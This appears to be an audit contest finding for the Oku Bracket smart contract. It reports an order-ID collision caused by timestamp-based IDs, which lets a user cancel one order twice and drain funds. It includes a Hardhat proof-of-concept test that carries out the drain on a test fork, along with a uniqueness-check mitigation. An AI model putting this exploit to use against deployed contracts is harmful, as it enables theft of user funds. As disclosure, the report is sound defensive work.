074.md

Boxy Ash Ant

High

Order ID Collision Vulnerability Leading to Protocol Fund Drain

Summary

The protocol's order ID generation mechanism, which uses a combination of sender address and timestamp, is vulnerable to ID collisions when multiple orders are created within the same timestamp. This allows an attacker to overwrite order amounts while maintaining multiple references to the same order ID, enabling them to withdraw more funds than deposited through repeated cancellations.

Root Cause

The vulnerability stems from two critical issues. orderId is generated using timestamp and sender values. But different transactions can have the same timestamp or a contract can be implemented that creates multiple orders in the same transaction.

// In AutomationMaster.sol
function generateOrderId(address sender) public view returns (uint96) {
    return uint96(uint256(keccak256(abi.encodePacked(sender, block.timestamp))));
}

Because of this the orders mapping gets overwritten with the latest order details. The pendingOrderIds array accumulates duplicate IDs.

// In Bracket.sol
// In Bracket.sol
mapping(uint96 => Order) public orders;           // Stores order details
uint96[] public pendingOrderIds;                  // Stores order IDs for tracking

function createOrder(...) {
    uint96 orderId = MASTER.generateOrderId(msg.sender);
    
    // First issue: Overwrites existing order with same ID
    orders[orderId] = Order({
        amountIn: newAmount,      // New amount overwrites old amount
        tokenIn: newToken,
        // ... other fields
    });
    
    // Second issue: Adds duplicate ID to pending orders
    pendingOrderIds.push(orderId);  // Adds same ID multiple times
}

https://github.com/sherlock-audit/2024-11-oku/blob/ee3f781a73d65e33fb452c9a44eb1337c5cfdbd6/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L496

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. Attacker creates first order with small amount:
2. Creates second order with large amount in same timestamp:
3. Both orders reference same ID in pendingOrderIds
4. Attacker cancels order multiple times or his orders filled multiple times
5. Attacker receives large amount multiple times and drains the contract

Impact

Attacker can withdraw multiple times the deposited amount and drain the contract

PoC

//@note   Enable the 'allowBlocksWithSameTimestamp' option 
describe("Execute attac", () => {

    const stopDelta = ethers.parseUnits("500", 8)
    const strikeDelta = ethers.parseUnits("100", 8)
    const strikeBips = 500
    const stopBips = 5000
    const swapInBips = 500

    let orderId: BigInt
    //setup
    before(async () => {
        //steal money for s.Bob
        await stealMoney(s.usdcWhale, await s.Bob.getAddress(), await s.USDC.getAddress(), s.usdcAmount)
        //reset test oracle price
        await s.wethOracle.setPrice(s.initialEthPrice)
        await s.usdcOracle.setPrice(s.initialUsdcPrice)
        await s.uniOracle.setPrice(s.initialUniPrice)
        await s.arbOracle.setPrice(s.initialArbPrice)
        let initial = await s.Master.checkUpkeep("0x")
        expect(initial.upkeepNeeded).to.eq(false)
    })


    it("Create order in same timestamp", async () => {
        const currentPrice = await s.Master.getExchangeRate(await s.WETH.getAddress(), await s.USDC.getAddress())
        await s.USDC.connect(s.Bob).approve(await s.Bracket.getAddress(), s.usdcAmount)

        const randomTokenOut = ethers.Wallet.createRandom().address
        await s.WETH.connect(s.Bob).approve(await s.Bracket.getAddress(), 10n * s.wethAmount)

        const timestamp = Math.floor(Date.now() / 1000)
        await network.provider.send("evm_setNextBlockTimestamp", [timestamp])

        // @ deposit small amount first and bigger amount after
        let amount1 = ethers.parseEther("0.1")
        let amount2 = ethers.parseEther("1")

        await s.Bracket.connect(s.Bob).createOrder(
            "0x",
            currentPrice + strikeDelta,
            currentPrice - stopDelta,
            amount1,
            await s.WETH.getAddress(),
            await s.USDC.getAddress(),
            await s.Bob.getAddress(),
            5,//5 bips fee
            strikeBips,
            stopBips,
            false,//no permit
            "0x"
        )
        //Use the same timestamp 
        await network.provider.send("evm_setNextBlockTimestamp", [timestamp])
        await s.Bracket.connect(s.Bob).createOrder(
            "0x",
            currentPrice + strikeDelta,
            currentPrice - stopDelta,
            amount2,
            await s.WETH.getAddress(),
            await s.USDC.getAddress(),
            await s.Bob.getAddress(),
            5,//5 bips fee
            strikeBips,
            stopBips,
            false,//no permit
            "0x"
        )


        const filter = s.Bracket.filters.OrderCreated
        const events = await s.Bracket.queryFilter(filter, -1)
        const event = events[0].args
        orderId = event[0]
        expect(Number(event[0])).to.not.eq(0, "Third order")


        //verify pending order exists
        const list = await s.Bracket.getPendingOrders()
        expect(list[0]).to.eq(orderId, "First order Id")
        expect(list[1]).to.eq(orderId, "First order Id")


        await stealMoney(s.wethWhale, await s.Bracket.getAddress(), await s.WETH.getAddress(), s.wethAmount)
        const balance = await s.WETH.balanceOf(await s.Bracket.getAddress())
        expect(balance).to.be.eq(amount1 + amount2 + s.wethAmount, "WETH received")

        await s.Bracket.connect(s.Bob).cancelOrder(orderId.toString())
        await s.Bracket.connect(s.Bob).cancelOrder(orderId.toString())

        // User deosited 0.1 + 1 eth and when canceled recieved 2 eth
        const balanceAfter = await s.WETH.balanceOf(await s.Bracket.getAddress())
        expect(balanceAfter).to.be.eq(s.wethAmount + amount1 - amount2, "WETH received")

    })
})

Mitigation

Imlement different system for orderId creation and add order ID uniqueness check

require(orders[orderId].amountIn == 0, "Order ID already exists");